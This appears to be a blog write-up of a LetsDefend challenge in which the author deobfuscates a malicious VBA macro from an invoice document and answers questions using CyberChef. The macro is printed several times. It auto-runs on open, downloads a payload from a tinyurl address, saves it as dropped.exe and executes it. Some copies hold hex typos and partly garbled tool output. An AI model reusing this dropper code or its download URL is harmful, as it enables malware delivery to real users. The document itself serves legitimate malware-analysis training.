

Malicious VBA [Let's Defend – Write-up]

One of the employees has received a suspicious document attached in the invoice email. They sent you the file to investigate. You managed to extract some strings from the VBA Macro document. Can you refer to CyberChef and decode the suspicious strings?

Please, open the document in Notepad++ for security reasons unless you are running the file in an isolated sandbox.

Malicious Macro: /root/Desktop/ChallengeFiles/invoice.vb

| Start investigation

First, I converted invoice_deobf.vb to invoice_deobf.vba, then I opened the file and this appeared.

```
1 =====
2 FILE: inf.docm
3 Type: OpenXML
4 -----
5
6 - - - - -
7 Private Sub avscuqctk()
8 Dim vxedylyctlyqvkl As String
9 Dim yxxqowke As String
10 Dim yqlcangepvrccrx As Object, tmffoscpfdripcxpd As Object
11 Dim afcbdyld As Integer
12 vxedylyctlyqvkl = hgmneqolwgxg("68747470733a2f2f74696e") & hgmneqolwgxg("7975726c2e636f6d2f67327a3267683666")
13 yxxqowke = hgmneqolwgxg("64726f") & hgmneqolwgxg("707065642e657865")
14 yxxqowke = Environ("TEMP") & "\" & yxxqowke
15 Set yqlcangepvrccrx = CreateObject(hgmneqolwgxg("4d53584d4c322e") & hgmneqolwgxg("536572766572584d4c485454502e362e30"))
16 yqlcangepvrccrx.setOption(2) = 13056
17 yqlcangepvrccrx.Open hgmneqolwgxg("474554"), vxedylyctlyqvkl, False
18 yqlcangepvrccrx.setRequestHeader hgmneqolwgxg("557365") & hgmneqolwgxg("722d4167656e74"),
    hgmneqolwgxg("4d6f7a696c6c612f342e302028636f6d7061") &
    hgmneqolwgxg("7469626c653b204d53494520362e303b2057696e646f7773204e5420352e3029")
19 yqlcangepvrccrx.Send
20 If yqlcangepvrccrx.Status = 200 Then
21 Set tmffoscpfdripcxpd = CreateObject(hgmneqolwgxg("41444f") & hgmneqolwgxg("44422e53747265616d"))
22 tmffoscpfdripcxpd.Open
23 tmffoscpfdripcxpd.Type = 1
24 tmffoscpfdripcxpd.Write yqlcangepvrccrx.ResponseBody
25 tmffoscpfdripcxpd.SaveToFile yxxqowke, 2
26 tmffoscpfdripcxpd.Close
27 jausltewrjghdtvi yxxqowke
28 End If
29 End Sub
30 Sub AutoOpen()
31 avscuqctk
```


Now let's answer the questions.

Q1: The document initiates the download of a payload after the execution, can you tell what website is hosting it?

```
Open  invoice.vba  Save  - /Desktop/ChallengeFiles

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2 FILE: inf.docm
3 Type: OpenXML
4 -----
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6 -----
7 Private Sub avscuqctk()
8 Dim vxedytlyqvk As String
9 Dim yxxqowke As String
10 Dim yqlcangepvrccrx As Object, tmffoscpfdripcxpd As Object
11 Dim afcbydid As Integer
12 vxedytlyqvk = hgmneqolwgxg("68747470733a2f2f74696e") & hgmneqolwgxg("7975726c2e636fd2f67327a3267683666")
13 yxxqowke = hgmneqolwgxg("64726f") & hgmneqolwgxg("707065642e657865")
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24 tmffoscpfdripcxpd.Write yqlcangepvrccrx.ResponseBody
25 tmffoscpfdripcxpd.SaveToFile yxxqowke, 2
26 tmffoscpfdripcxpd.Close
27 jausltewrjghdtvi yxxqowke
28 End If
29 End Sub
30 Sub AutoOpen()
31 avscuqctk
```

I took this information and put it in a cyberchef to answer the first question.




Answer: <https://tinyurl.com/g2z2gh6f>.

Q2: What is the filename of the payload (include the extension)?


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    hgmneqolwgxg("4d6f7a696c6c612f342e302028636fd7061") &
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22 tmffoscpfdripcxpd.Open
23 tmffoscpfdripcxpd.Type = 1
24 tmffoscpfdripcxpd.Write yqlcangepvrccrx.ResponseBody
25 tmffoscpfdripcxpd.SaveToFile yxxqowke, 2
26 tmffoscpfdripcxpd.Close
27 jausltewrjghdtvi yxxqowke
28 End If
29 End Sub
30 Sub AutoOpen()
31 avscuqctk
```

second, I took this and put it in cyberchef.




Answer: dropped.exe.

Q3: What method is it using to establish an HTTP connection between files on the malicious web server?



Also took this to put it in cyberchef.



Answer: msxml2.serverxmlhttp.

Q4: What user-agent string is it using?

Open
invoice.vba
~/Desktop/ChallengeFiles
Save

```

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25 tmffoscpfdripcxpd.SaveToFile yxxqowke, 2
26 tmffoscpfdripcxpd.Close
27 jausltewrjghdtvi yxxqowke
28 End If
29 End Sub
30 Sub AutoOpen()

```

Operations
Search...
Favourites
To Base64
From Base64
To Hex
From Hex
To Hexdump
From Hexdump
URL Decode

Recipe
From Hex
Delimiter
Auto

Input
yqlcangepvrccrx.setRequestHeader hgmneqolwgxg("557365") & hgmneqolwgxg("722d4167656e74"),
 hgmneqolwgxg("4d6f7a696c6c612f342e302028636f6d7061") &
 hgmneqolwgxg("7469626c653b204d53494520362e303b2057696e646f7773204e5420352e3029")

Output
E:\isa sa 8P\sa User-Agent\mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)

STEP
BAKE!
Auto Bake

Answer: mozilla/4.0 (compatible; msie 6.0; windows nt 5.0).

Q5: What object does the attacker use to be able to read or write text and binary files?

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invoice.vba
~/Desktop/ChallengeFiles
Save

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    hgmneqolwgxg("4d6f7a696c6c612f342e302028636f6d7061") &
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22 tmffoscpfdripcxpd.Open
23 tmffoscpfdripcxpd.Type = 1
24 tmffoscpfdripcxpd.Write yqlcangepvrccrx.ResponseBody
25 tmffoscpfdripcxpd.SaveToFile yxxqowke, 2
26 tmffoscpfdripcxpd.Close
27 jausltewrjghdtvi yxxqowke
28 End If
29 End Sub
30 Sub AutoOpen()

```


Summary

This investigation was an incredibly valuable learning experience that deepened my understanding of malware analysis. By working through the challenge, I learned how to effectively deobfuscate malicious code, and how to extract critical indicators of compromise such as malicious URLs and payloads. Overall, this walkthrough significantly improved my technical proficiency in using tools like olevba and CyberChef to uncover hidden threats.